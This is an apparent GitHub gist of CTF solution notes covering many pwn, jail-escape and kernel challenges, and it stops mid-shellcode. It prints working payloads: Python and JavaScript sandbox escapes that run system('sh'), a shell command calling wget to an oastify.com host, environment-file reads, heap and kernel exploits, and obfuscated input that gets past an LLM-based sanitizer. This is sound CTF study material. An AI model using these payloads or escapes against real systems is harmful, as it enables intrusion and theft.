Skip to content

Instantly share code, notes, and snippets.

@C0nstellati0n
Last active February 7, 2025 04:13
Show Gist options
  • Save C0nstellati0n/c5657f0c8e6d2ef75c342369ee27a6b5 to your computer and use it in GitHub Desktop.
Save C0nstellati0n/c5657f0c8e6d2ef75c342369ee27a6b5 to your computer and use it in GitHub Desktop.

Babysbx

  • ptr.yudai

seccomp cannot check the content of memory so it's just checking the address of first argument for execve

So, the goal is to overwrite the constant "/bin/sh" into "/readflag".

The problem is that you cannot use mmap, mprotect, or munmap.

Still, the denylist does not block mremap, which is useful for moving a memory page.

So, you can move a memory page that includes "/bin/sh" into somewhere, and move another page that has "/readflag" to there.

Actually you don't need to move it. You can simply overwrite it with MREMAP_FIXED.

You can prepare a new page by calling mremap to extend the page for shellcode

i.e.,

mremap(ADDR_CODE, 0x1000, 0x2000, MREMAP_MAYMOVE);
strcpy(ADDR_CODE + 0x1050, "/readflag");
mremap(ADDR_CODE + 0x1000, 0x1000, 0x1000, MREMAP_MAYMOVE | MREMAP_FIXED, PAGE_BINSH + 0x50);

my shellcode:

  SYS_brk    equ 12
  SYS_mremap equ 25
  SYS_execve equ 59
  OFFSET_page equ 0x2000
  OFFSET_cmd  equ 0x0050
  MREMAP_MAYMOVE equ 1
  MREMAP_FIXED   equ 2
  ADDR_CODE      equ 0xc0de000

;; address leak
  xor edi, edi
  mov eax, SYS_brk
  syscall
  mov rax, [rax - 0x1ca88]
  lea rbp, [rax - 0x219ce0]     ; libc base
  mov rax, [rbp + 0x221200]
  mov rax, [rax - 0xe0]
  lea r15, [rax - 0x1818]       ; proc base

;; modify filename
  mov r10d, MREMAP_MAYMOVE
  mov edx, 0x2000
  mov esi, 0x1000
  mov edi, ADDR_CODE
  mov eax, SYS_mremap
  syscall

  mov edi, ADDR_CODE + 0x1000 + OFFSET_cmd
  mov rax, 0x616c66646165722f   ; /readflag
  mov [rdi], rax
  mov byte [rdi + 8], 0x67

  lea r8, [r15 + OFFSET_page]
  mov r10d, MREMAP_MAYMOVE | MREMAP_FIXED
  mov edx, 0x1000
  mov esi, 0x1000
  mov edi, ADDR_CODE + 0x1000
  mov eax, SYS_mremap
  syscall

;; run program
  xor edx, edx
  xor esi, esi
  lea rdi, [r15 + OFFSET_page + OFFSET_cmd]
  mov eax, SYS_execve
  syscall

Avatar

  1. amirhossein8736
import math
true = '("f">"c")'
false = '("c">"f")'
p1 = f"{true}+{false}"
make_number = lambda x: '+'.join([true]*x)


input_ = """[x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if("_wrap_close")==x.__name__][0]['system']('cat flag.txt')"""
payload = 'f"""{%s:c}"""'

final_payload = []
for c in input_:
    sq = int(math.sqrt(ord(c)))
    remain = ord(c) - (sq*sq)
    if remain:
        p = payload % f"({make_number(sq)})*({make_number(sq)})+{make_number(remain)}"
    else:
        p = payload % f"({make_number(sq)})*({make_number(sq)})"
    final_payload.append(p)
print("+".join(final_payload))
  1. yuuna#4173
from pwn import *
import math

def int2bool(n):
    return '+'.join(['f'] * n)

def simplify(n):
    arr = []
    while n > 1:
        f = math.floor(math.log(n, 2))
        if f > 0:
            arr.append(f)
        else:
            arr.append(n)
        n -= (2**f)

    result = []
    for a in arr:
        result.append(f'({int2bool(2)})**({int2bool(a)})')
    if n: result.append('f')

    return '+'.join(result)

def char2sym(char):
    return '{%s:c}' % simplify(ord(char))

def encode(string):
    result = ''
    for char in string:
        if char not in '()*+/:=>cfgt{}':
            result += char2sym(char)
        else:
            result += char

    return 'f"({(f:=()==())}%s)"' % result

p = '+().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["__import__"]("os").system("cat *")'
r = remote('chall.glacierctf.com', 13384)
r.sendline(encode(p))
r.interactive()
  1. thebadgod
f"""{(f:=("g">"f"))+((g:=(c:=f+f+f+f+f)+c)+g+g+g+g+g+g+g+g):c}{c+c*g+c*g:c}{f+f+g+g+g:c}f{f+c*g+c*g+g:c}{f+f+f+f+c*g+c*g+g:c}{f+f+g+g+g:c}{c+c*g+c*g:c}{f+f+g+g+g:c}{c+c*g+c*g:c}{+c*g+c*g+g:c}{f+f+g+g+g:c}{c+f+f+f+f+g+g+g:c}{c+f+f+f+f+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}c{c+f+f+f+c*g+c*g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+c*g+c*g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+f+f+c*g+g+g+g+g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+f+f+c*g+c*g+g:c}{c+f+f+f+c*g+g+g+g+g:c}c{c+f+f+f+c*g+c*g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g:c}{c+c*g+c*g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}(){f+f+g+g+g:c}{c+c*g+c*g:c}f{f+f+g+g+g:c}"{c+f+c*g+g:c}{c+f+f+c*g+c*g+g:c}{c+c*g+c*g:c}"{f+f+g+g+g:c}{c+c*g+c*g:c}{+c*g+c*g+g:c}{f+f+g+g+g:c}f"{{{c+c*g+c*g:c}}}"{f+f+f+c*g+g+g+g+g:c}{f+c*g+g+g+g+g:c}{c+f+f+f+g+g+g+g:c}{f+f+f+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+f+f+f+c*g+c*g:c}{f+c*g+c*g+g:c}{c+f+f+c*g+g+g+g+g:c}{+c*g+c*g:c}{c+c*g+g+g+g+g:c}{c+f+f+f+f+c*g+c*g:c}{f+c*g+c*g+g:c}{+c*g+c*g:c}{c+f+f+c*g+c*g+g:c}{c+f+f+f+c*g+c*g:c}{f+c*g+c*g:c}({c+f+f+f+f+g+g+g:c}{f+c*g+c*g+g:c}{c+c*g+c*g+g:c}{c+f+f+f+f+g+g+g:c}){c+f+g+g+g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g+g+g:c}{c+c*g+c*g+g:c}t{f+c*g+c*g:c}{c+f+f+f+f+c*g+c*g:c}({c+f+f+f+f+g+g+g:c}{c+c*g+c*g+g:c}{f+f+f+f+c*g+c*g:c}{c+f+f+f+f+g+g+g:c})"""
  1. oh_word
#!/usr/bin/env python3
from ptrlib import *

init_a = False
def get_char(char):
    str = []
    global init_a

    for _ in range(ord(char)):
        if not init_a:
            str.append('(g:="t"=="t")')
            init_a = True
        else:
            str.append('g')

    return '{' + "+".join(str) + ':c}'

payload = """[x for x in''.__class__.__base__.__subclasses__()if"lEncoder" in x.__name__][0].__init__.__globals__["builtins"].__import__("os").system('cat flag.txt')"""
payload = 'f"""' + "".join([get_char(character) for character in payload]) + '"""'

sock = Socket("nc chall.glacierctf.com 13384")
#sock.debug = True
print(sock.recvuntil("input: ").decode())
sock.sendline(payload)
print(sock.recv().decode())
sock.close()
  1. https://ctftime.org/writeup/38310

Memory

  1. seraphin

So when the IOCTL accesses the user pointer, it loads the cache line containing that address into the memory hierarchy up to L1D if it wasn't there already. If an address is in the cache, it's really fast to deference. So we first make sure that the potential addressed containing the flag are out of the cache using CLFLUSH. Then we ask the kernel module (via IOCTL) to load memory with an offset depending on the flag. After the kernel returns, we time how long it takes for us to access the address. If it's really quick, that means the address touched by the module is in that cache line.

And you repeat with a few different addresses so that you know exactly when the address corresponding to the flag byte lines up, since a cache line is much larger than a byte.

This is the exploit. You have to add LFENCEs to ensure that the CPU actually finishes loading the data into the cache.

Baby JS Blacklist

  1. nils#5664
// Disable checks
this.checkSafe = (ast) => {return true}
// Use process.binding to use C++ functions
const fs = process.binding("fs");const fd = fs.open("flag", 0, 0o444);const buffer = Buffer.alloc(1024);const bytesRead = fs.read(fd, buffer, 0, buffer.length, 0);buffer.toString("utf8", 0, bytesRead)
  1. https://github.com/UofTCTF/uoftctf-2024-chals-public/tree/master/Jail/baby_js_blacklist
  • 主要思路是自己new一个Function然后利用tagged templates调用函数。似乎只能借助process.binding来执行shell代码

LLM Sanitizer

  1. _cra2yman_
Input:
print(getattr(__builtins__,"nepo"[::-1][::-1])("/"+"galf"[:-5:-1][::-1]).read())
^Z
Sanitized:

print(getattr(__builtins__,"open"[::-1][::-1])("/"+"flag"[:-5:-1][::-1]).read())

Output:
rwctf{Pyjail_It's_mySan1tiz3r!!!}
  1. 利用pickle.loads反序列化: https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/llm_sanitizer

Diligent Auditor

  1. hexf
w="cast";l=(lambda x:0);k=(lambda x:[c for c in().__class__.__base__.__subclasses__()if c.__name__==x][0].__init__.__globals__);g=k("LibraryLoader");z=(lambda a:g[w](a,g["POINTER"](g["c_uint64"])).contents.value);q=(a:=(0).__class__(("%r"%(l,)).split()[-1][2:-1],16))-327680;k("Quitter")["sys"].setrecursionlimit(99999);F=(lambda q,F,n:(F(q+8,F,n+1)if n!=0 else q)if z(q+8)==z(a+8)and z(q+16)==z(a+16)else F(q-8,F,n));Z=F(q,F,0);g[w](Z,g["py_object"]).value.__closure__[0].cell_contents=l;k("_wrap_close")["system"]("sh")
  1. fredd#8512
d,e,f,g,k=(''.__class__.__base__.__subclasses__()[o]for o in(0,3,46,55,60))
def y(s,o):s.a;o.pop('a');h.clear();return(q(s.a),[0]*10)
def n(z):l(z);return q(b[0]).tolist()[0]
def o(z,v):l(z);q(b[0])[0]=v
def p(o):b[0]=o;return a[0]
def l(z):m[0]=2;m[1]=p(e);m[2]=8;m[5]=z;b=m.tobytes();r.append(b);a[0]=p(b)+32

strground

  1. https://discord.com/channels/694109538076459098/818473212618080276/1221453357542019164

High Frequency Toubles

  1. pwn2ooown

Writeup for high frequency troubles with pure tcache poisoning: TL;DR: Disgusting heap feng shui and tcache poisoning to leak libc and overwrite stderr. Gain RCE using house of cat exploit chain. Remember to fix corrupted unsorted bin size. Details: It's well known that we can modify size of top chunk to free the top_chunk. We can leak heap address somewhere I'll skip this part. However we cannot go back to previous chunk to modify data. What can we do now? My heap would look like this in my exploit:

---------------
Size a in tcache bin index 1
---------------
Size b in tcache bin index 0
---------------
Size a in tcache bin index 0
---------------
Size c in tcache bin index 0
---------------
Unsorted bin with libc address
---------------

We take out size b to overwrite the next pointer of the bottom chunk (which has size a). Then we now have poisoned tcache list of size a. We can now first malloc to an unsorted bin to leak libc address. Remember to fix corrupted unsorted bin size using size c. Then we can just do these again to modify stderr to a crafted IO FILE structure and corrupt top chunk size to trigger "house of cat" to gain RCE. Reference of house of cat: https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_6

pyquinejailgolf

  1. cope3503
try:a092d5a343d2b5a7b297b2d543d2a3b5a78247e6962707b3d513d2a3a3b592825646f6365646e292d5a35313b59782875686d6f62766e292825646f636e656e297d3a7b3d513d2a3a3b556d616e6e256d397a35602371602e6f69647075636875402470756368756a0a3972747pyquinejailgolf
except Exception as e:y=e.name[::-1];z=y.encode().fromhex(y[15:]).decode()[::-1];print(z[:-4]+y+z[-4:])
try:1%0J#pyquinejailgolf
except Exception as E:A=E.args[0];C=A[8];G=B=0xa6eb15ae9d5b53092a586a1474dda797014ddebe7d1dda970c98a54b1d4254b75a3174e9933b705eab86ea3a0cbb34e8ee2bc25f0c1ec27b1dddd716e0bd86eeeb0b7cf3f2c2ba2bd82ea2a0e78506edfa7a70cb8fc4541d3865c7e328acdb37e7d9a70eacbbb4f5e3e782394c12a562ebcf2
while G:C+=A[32::14]%(G%128);G>>=7
print((C%B)[::-1])

mov cr3

  1. fredd8512

here I thought I cheesed it by reading physmem instead of swapping cr3 lol

#define GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

#define KBASE_MAGIC 0x3f4e258d48f78949
#define CHUNK_SIZE 0x100000

uint64_t kbase = 0xffffffff81000000;
uint64_t page_offset_base = 0xffffffff827c01f8;
uint64_t kaslr_slide;
uint64_t physmem;

struct ioctl_read_kernel_arg {
    uint64_t dst;
    uint64_t src;
    uint64_t n;
};

uint64_t fd;
uint64_t kaslr_slide;

void die(const char* msg) {
    perror(msg);
    exit(-1);
}

uint64_t arb_read(void *dst, uint64_t src, uint64_t n) {
    struct ioctl_read_kernel_arg arg = {
        .dst = (uint64_t) dst,
        .src = src,
        .n = n
    };
    return ioctl(fd, 0x1001, &arg);
}

uint64_t read64(uint64_t addr) {
    uint64_t val;
    int res = arb_read(&val, addr, 8);
    if(res < 0) {
        die("read64");
    }
    return val;
}

void get_kaslr() {
    uint64_t val;
    for(int i = 0; i < 0x10000; i++) {
        if(arb_read(&val, kbase + (i << 20), 8) == 0 &&
            val == KBASE_MAGIC) {
                kaslr_slide = i << 20;
                printf("kaslr slide = 0x%llx\n", kaslr_slide);

                page_offset_base += kaslr_slide;
                return;
            }
    }

    puts("can't leak");
    exit(-1);
}


int main(int argc, char*argv[]) {
    fd = open("/dev/movcr3", O_RDWR);
    if(fd < 0) {
        die("open");
    }

    get_kaslr();

    physmem = read64(page_offset_base);
    printf("physmem @ 0x%llx\n", physmem);

    char *buf = malloc(CHUNK_SIZE);

    uint64_t addr = physmem;
    while(1) {
        if(arb_read(buf, addr, CHUNK_SIZE) < 0) {
            die("arb_read");
        }

        char *ptr = memmem(buf, CHUNK_SIZE, "cr3{", 4);
        if(ptr != NULL) {
            printf("FOUND FLAG (?): %s\n", ptr);
        }

        addr += CHUNK_SIZE;
    }    
}
  1. 一段服务器上的对话,有助于理解

0xM4hm0ud(0xm4hm0ud) — 04/28/2024 9:39 AM

Uhm how does using the pgd helps with finding the cr3 value. Because the value in cr3 registers are physical addresses right and those are different for every process.

Cant we just leak kaslr. Find the page_offset_base/physmap And leak memory from there till we find the flag? Ah are all task_struct objects from all processes adjacent in memory?

♡(gfs) — 04/28/2024 9:43 AM

cr3 stores the physical address of the pgd, so virt_to_phys(pgd) would yield that value for a given process.

also the solution you've brought up is valid and works but it doesn't use the other ioctl and so it's not intended.

also task_structs are allocated in their own cache, so most of them are adjacent to one another, but different slabs containing task_structs are not.

#define alloc_task_struct_node(node) \
             kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node)
static struct kmem_cache *task_struct_cachep;

0xM4hm0ud — 04/28/2024 10:16 AM

Ah okay yeh so cr3 contains the phys(pgd). I didnt try out the idea I brought, but when doing something like that. Ig it will take a lot of time to leak right?

So task_struct also contains the pgd? Ig the virtual address right? So you grab all those pgd from all structs till you find the correct one?

♡ — 04/28/2024 10:19 AM

task_struct contains the mm_struct which contains the pgd, i find the correct task structs by their comm and then extract the pgd from there

randomness

  1. poniponiponiponiponiponiponiponi

the trick is that a jmp is two bytes and every 8 "8-byte numbers we read" only 1 random byte is xored, so i basically can execute any instruction as long as it's 5 bytes long

then since the memory is rwx i use it to get a read with which i use standard shellcode

#!/usr/bin/env python3

from pwn import *

exe = ELF("./randomness_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.terminal = "alacritty -e".split()


# 0000000000000000 <_start>:
#    0:   e8 00 00 00 00          call   5 <here>

# 0000000000000005 <here>:
#    5:   5e                      pop    %rsi
#    6:   48 31 ff                xor    %rdi,%rdi
#    9:   48 31 c0                xor    %rax,%rax
#    c:   0f 05                   syscall

#    e:   eb 00                   jmp    10 <next>


jmp = b"\xeb" + p8(1+7*8)
to_send = [
    b"\xe8\x00\x00\x00\x00",
    b"\x5e",
    b"\x48\x31\xff",
    b"\x48\x31\xc0",
    b"\x0f\x05",
]


def conn():
    if args.REMOTE:
        io = remote("1337.sb", 40006)
    else:
        if args.GDB:
            io = gdb.debug([exe.path], aslr=False, api=False, gdbscript="""
            set follow-fork-mode parent
            """)
        else:
            io = process([exe.path])
            #gdb.attach(io)
    return io


def main():
    io = conn()
    io.sendlineafter(b"number: ", str(len(to_send)*8))
    for inst in to_send:
        io.sendlineafter(b"> ", str(u64(inst.ljust(5, b"\x90") + jmp + b"\x00")).encode())
        for _ in range(7):
            io.sendlineafter(b"> ", str(0x4142434445464748).encode())

    import time
    time.sleep(1)

    sc = shellcraft.amd64.linux.openat(0, b"/flag.txt", 4, 4)
    sc += shellcraft.amd64.linux.read('rax', 'rsp', 0x100)
    sc += shellcraft.amd64.linux.write(1, 'rsp', 0x100)
    io.sendline(cyclic(253) + asm(sc))
    
    io.interactive()


if __name__ == "__main__":
    main()

jscripting

  1. shin24_2354
1});(() => { throw new Proxy({}, {
  get: function(me, key) {
         const cc = arguments.callee.caller;
         if (cc != null) {
                return (cc.constructor.constructor(' globalThis.module.constructor.createRequire("/etc/passwd")("process").binding("spawn_sync").spawn({file: "/bin/sh",args: ["/bin/sh", "-c", "wget pa3d6lev1ywppqhbtta7p075ww2tqnec.oastify.com" ], stdio: [ {type:"pipe",readable:true,writable:false}, {type:"pipe",readable:false,writable:true}, {type:"pipe",readable:false,writable:true} ]})'))();
         }
         return me[key];
  }
})
  1. rikuwu
(function(){k = this; return ({ toJSON: function() {return arguments.callee.caller.constructor(`globalThis.module.require("worker_threads").parentPort.postMessage(globalThis.module.require("util").format(globalThis.storage))`)()} })})()
  1. _anonas
new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('a = module.parent.require("fs").readFileSync("/proc/self/environ");module.parent.require("assert").fail(a)'))() }
})

jscripting-revenge

  1. rikuwu
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()

my-favorite-code

  1. __ahh__
#这代码低版本的python还运行不了。这个在线的网站可以运行: https://www.jdoodle.com/python3-programming-online
import opcode
from opcode import opmap
import base64
import dis

import marshal
import tempfile

import sys, os

for k in opmap:
    globals()[k] = opmap[k]

def f():
    breakpoint()

code = f.__code__
b = marshal.dumps(code)

dis.dis(code, show_caches=True)
co_code = code.co_code
print(len(co_code))

co_code_section = len(co_code).to_bytes(4, byteorder='little') + co_code


prefix = b[:b.find(co_code_section)]
suffiix = b[b.find(co_code_section) + len(co_code_section):]

new_code = bytearray([
    JUMP_FORWARD, 1, #
    COMPARE_OP, 0, #
    LOAD_GLOBAL, 1,
    0, 0,
    COMPARE_OP, 0, #
    0, 0,
    0, 0,
    COMPARE_OP, 0, #
    NOP, 0,
    JUMP_FORWARD, 1, 
    COMPARE_OP, 0, #
    PRECALL, 0,
    0, 0,
    JUMP_FORWARD, 1, #
    COMPARE_OP, 0, #
    CALL, 0,
    0, 0,
    JUMP_FORWARD, 1, #
    JUMP_FORWARD, 1, #
    JUMP_FORWARD, 1, #
    JUMP_FORWARD, 1, #
    COMPARE_OP, 0, #
    POP_TOP, 0,
    LOAD_CONST, 0,
    JUMP_FORWARD, 1, #
    COMPARE_OP, 0, #
    RETURN_VALUE, 0
])


print(f"New code: {new_code}")
dis.dis(new_code )
print('-'*40)
dis.dis(new_code, show_caches=True )

new_code_section = len(new_code).to_bytes(4, byteorder='little') + new_code

new_code_object = prefix + new_code_section + suffiix
payload = base64.b64encode(new_code_object)

def runner():
    ...

runner.__code__ = marshal.loads(new_code_object)
# runner()

from pwn import *

r = remote('localhost', 33851)
r.sendlineafter(b"opcode?", b"JUMP_FORWARD")
r.sendlineafter(b"these...", payload)
r.interactive()

以及一段对话:

Legoclones(legoclones) — 05/12/2024 10:13 PM

Wait so are you somehow hiding the actual bytecode somewhere and then using the jump opcode to jump to it?

ahh(__ahh__) — 05/12/2024 10:15 PM

ye exactly, the lines of opcode with the # are the instructions and everything else is hidden in bytecode cache, which is not seen by dis.Bytecode.

There is an optional parameter in dis called show_caches=True which will show the cache space

Legoclones — 05/12/2024 10:16 PM

I didn't even know python bytecode has a cache... So code objects themselves each have a cache?

Legoclones — 05/12/2024 10:17 PM

Also where did you learn about this? Would like to investigate more

We were just absolutely stumped

ahh — 05/12/2024 10:26 PM

Yeah this was added in 3.11: https://docs.python.org/3.11/whatsnew/3.11.html#cpython-bytecode-changes

python/cpython#90997

  1. lydxn

another idea is to JUMP_BACKWARD into co_firstlineno or other struct members that are located adjacent in memory (i nearly got this to work but it crashes unexpectedly on remote)

i have a script that works locally but apparently python version on remote expects a RETURN_VALUE at the end otherwise it segfaults

from base64 import *
from ctypes import *
import marshal

def f(): pass

jumpcode = bytes((140, 58))  # JUMP_BACKWARD 58
stacksize = int.from_bytes(b'\x00\x00t\x01', 'little')
firstlineno = int.from_bytes(b'\x00\x00\x00\x00', 'little')
nlocals = int.from_bytes(b'\x00\x01\xab\x00', 'little')

f.__code__ = f.__code__.replace(
    co_code=jumpcode,
    co_stacksize=stacksize,
    co_firstlineno=firstlineno,
    co_nlocals=nlocals,
    co_varnames=('',)*nlocals,
    co_names=('breakpoint',)
)
payload = b64encode(marshal.dumps(f.__code__)).decode()

encrypted_runner

  1. akrasuski_goo

yeah, so basically the aes binary had an overflow bug. If you supplied a character > 0xff, it would get substituted (during the sbox step of aes) all into zero. When decrypted, the rsbox[0] (0x52) would be xored with the key in the last round. So if you encrypt ls ąąąąąąąąąąąąą, and then decrypt the result, you get ls key^0x52, except for the first three bytes (which are ls_). When executed this returns something like ls: cannot access ''$'\020\f\001': No such file or directory (i.e. most of the key), you just need to brute force the first three bytes and then you can encrypt your own commands

this presentation was the inspiration for the challenge: https://www.slideshare.net/slideshow/biting-into-the-forbidden-fruit-lessons-from-trusting-javascript-crypto/37474054 (slides 19-25, the so called 16 snowmen attack)

syscalls

  1. alex_hcsc
from pwn import *

context.binary = exe = ELF('./syscalls')

sc = shellcraft.pushstr("/home/user/flag.txt")
sc += shellcraft.openat(0, "rsp", 0)
sc += shellcraft.mmap(0, 0x1000, constants.PROT_READ, constants.MAP_PRIVATE, "rax", 0)

sc += shellcraft.push(0x100)
sc += shellcraft.push("rax")
sc += shellcraft.pwritev2(1, "rsp", 1, -1, 0)

shellcode = asm(sc)

p = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

p.sendlineafter('you.', shellcode)
p.interactive()

astea

  1. amirhossein8736
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag.txt"];
  1. yuuna4173
__builtins__ |= safe_import.__builtins__; [~help for help.__class__.__invert__ in [breakpoint]]
  1. chattyplatinumcool

So the thought is that we can't call anything, import anything, assign anything (like a = 123) or use any operations like 4 + 4

But we can bypass assignment by assigning with the walrus operator within a comprehension. A limitation is that we can't assign to an attribute of something, so not foo.attr := 4. We can bypass the function call limitation by overwriting safe_import, so our function of choice is called, even though they're overwriting our function calls with safe_call. A limitation there, is that we can't call a function with arguments, so we have to be a bit creative about the payload. I wanted to get breakpoint first, but there I got an error that I didn't understand, so I opted for a different route where I append to the license._Printer__filenames list and then reverse it. Final payload:

payload = b"""
[safe_call := ().__class__.__bases__[0].__subclasses__, subclasses := safe_call()];
[license := subclasses[164].__init__.__globals__['__builtins__']['license']];
license._Printer__filenames += ['flag.txt'];
[safe_call := license._Printer__filenames.reverse];safe_call();
[safe_import := license]; 
import sys
""".replace(b'\n', b'')

So I also didn't use AnnAssign

  1. cygnusx
safe_call:0=safe_import.__builtins__['license'];safe_call._Printer__filenames:0=['flag.txt'];_()

Q: What is safe_call.printer

A: License in python prints from a file. So I changed the file name it prints from

A: license is instance of class Printer. that's the mangling for private function in Python

Q: what is this part safe_call._Printer__filenames:safe_import.__builtins__['list']=['flag.txt'] , it bypass assign?

A: this is AnnAssign. it's assignment with type annotation. it's not Assign AST node

a: int = 123

something like this it's allowed

  1. starlightpwn
[a:=[b:=safe_call.__builtins__,safe_call:=b['__spec__'].loader.module_repr.__globals__['sys']._getframe,a:=safe_call().f_back.f_globals['cup']]]; [1 for __builtins__['a'] in [a]]; [1 for __builtins__['a'][-1].__class__.__format__ in [__builtins__['a'][0]['exec']]]; f"{__builtins__['a'][-1]:a[0]['__import__']('os').system('sh')}"

这位佬的wp: https://starlightpwn.github.io/posts/uiuctf-2024/astea/

  1. nothoudaifa
safe_call.__globals__['ast']._Unparser.interleave.__defaults__: safe_call.__builtins__['tuple'] =  (None, None, safe_call.__builtins__['exec'], ['print(open("flag.txt").read())']) ; (safe_call:= safe_call.__globals__['ast']._Unparser.interleave) ; safe_call()
  1. https://ctftime.org/task/28696

syscalls-2

  1. zhuyifei1999
# Copyright 2024 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

#include <sys/syscall.h>

  .globl _start

_start:
  mov $SYS_mmap,%rax
  mov $0,%rdi
  mov $0x2000,%rsi
  mov $0x3,%rdx # PROT_READ | PROT_WRITE
  mov $0x21,%r10 # MAP_SHARED | MAP_ANONYMOUS
  mov $-1,%r8
  mov $0,%r9
  syscall

  mov %rax,sq_off_user_addr(%rip)
  lea 0x1000(%rax),%r13
  mov %r13,cq_off_user_addr(%rip)

  mov $SYS_io_uring_setup,%rax
  mov $2,%rdi
  lea io_uring_params(%rip),%rsi
  syscall
  mov %rax,%r12

  mov $SYS_io_uring_register,%rax
  mov %r12,%rdi
  mov $0x80000002,%rsi # IORING_REGISTER_FILES | IORING_REGISTER_USE_REGISTERED_RING
  lea fd_arr(%rip),%rdx
  mov $1,%r10
  syscall

  mov sq_off_user_addr(%rip),%rbx
  movb $18,(%rbx) # opcode = IORING_OP_OPENAT
  movl $-100,4(%rbx) # fd = AT_FDCWD
  lea path_flag(%rip),%rax
  mov %rax,16(%rbx) # addr
  movl $0x800,28(%rbx) # open_flags = O_RDONLY | O_NONBLOCK
  movl $1,44(%rbx) # file_index

  lea 64(%rbx),%rbx
  movb $22,(%rbx) # opcode = IORING_OP_READ
  movb $1,1(%rbx) # flags = IOSQE_FIXED_FILE
  movl $0,4(%rbx) # fd
  lea buf(%rip),%rax
  mov %rax,16(%rbx) # addr
  movl $128,24(%rbx) # len

  mov sq_off_array(%rip),%eax
  mov %r13,%rbx
  add %rax,%rbx
  movl $0,(%rbx)
  movl $1,4(%rbx)

  mov sq_off_tail(%rip),%eax
  mov %r13,%rbx
  add %rax,%rbx
  movl $1,(%rbx)

  mov $SYS_io_uring_enter,%rax
  mov %r12,%rdi
  mov $1,%rsi
  mov $1,%rdx
  mov $0x11,%r10 # IORING_ENTER_GETEVENTS | IORING_ENTER_REGISTERED_RING
  syscall

  movl $0,(%rbx)

  mov $SYS_io_uring_enter,%rax
  mov %r12,%rdi
  mov $1,%rsi
  mov $1,%rdx
  mov $0x11,%r10 # IORING_ENTER_GETEVENTS | IORING_ENTER_REGISTERED_RING
  syscall

  mov $SYS_write,%rax
  mov $1,%rdi
  lea buf(%rip),%rsi
  mov $128,%rdx
  syscall

area_ptr:
  .quad 0

io_uring_params:
  .long 0 # sq_entries
  .long 0 # cq_entries
  .long 0xc000 # flags = IORING_SETUP_REGISTERED_FD_ONLY | IORING_SETUP_NO_MMAP
  .long 0 # sq_thread_cpu
  .long 0 # sq_thread_idle
  .long 0 # features
  .long 0 # wq_fd
  .long 0 # resv[0]
  .long 0 # resv[1]
  .long 0 # resv[2]
  .long 0 # sq_off.head
sq_off_tail:
  .long 0 # sq_off.tail
  .long 0 # sq_off.ring_mask
  .long 0 # sq_off.ring_entries
  .long 0 # sq_off.flags
  .long 0 # sq_off.dropped
sq_off_array:
  .long 0 # sq_off.array
  .long 0 # sq_off.resv1
sq_off_user_addr:
  .quad 0 # sq_off.user_addr
  .long 0 # cq_off.head
  .long 0 # cq_off.tail
  .long 0 # cq_off.ring_mask
  .long 0 # cq_off.ring_entries
  .long 0 # cq_off.overflow
  .long 0 # cq_off.cqes
  .long 0 # cq_off.flags
  .long 0 # cq_off.resv1
cq_off_user_addr:
  .quad 0 # cq_off.user_addr

fd_arr:
  .long -1

path_flag:
  .asciz "/flag"

buf:
  .rept 128
  .byte 0
  .endr

这是作者的预期解,解析看视频: https://www.youtube.com/watch?v=F8pqK4G2fTQ&t=553s 。但我完全没听懂……里面提到了这个网站: https://lwn.net/Articles/863071/

建议找chatgpt解析这玩意。我试了一下,感觉挺清楚的,就是不知道对不对。这一堆汇编干了这些事:

  • 分配一块内存(mmap)
  • 配置io_uring(SYS_io_uring_setup)
  • 注册io_uring file descriptor(SYS_io_uring_register)。看汇编能看出来这里的io_uring file descriptor是上个sycall(SYS_io_uring_setup)的返回结果(不知道为什么这个汇编的mov是将左边的值移到右边,我之前都是右边移到左边的)
  • 将打开文件和读取文件的请求提交到io_uring submission queue
  • 进io_uring并确保结果处理成功(似乎是汇编里的两个SYS_io_uring_enter)
  • 输出结果(SYS_write)

io_uring api手册: https://man7.org/linux/man-pages/man7/io_uring.7.html

  1. robbert1978
#!/usr/bin/env python
from pwn import *
from pwn import p8, p16, p32, p64, u8, u16, u32, u64
from time import sleep


context.arch = "amd64"

shellcode = asm("""

    lea rdi, [rip + offset init]
    lea rsi, [rip + offset request_key]
    mov eax, 0x58
    syscall


    lea rdi, [rip + offset chal]
    mov eax, 0x57
    syscall

    lea rdi, [rip + offset bash]
    lea rsi, [rip + offset chal]
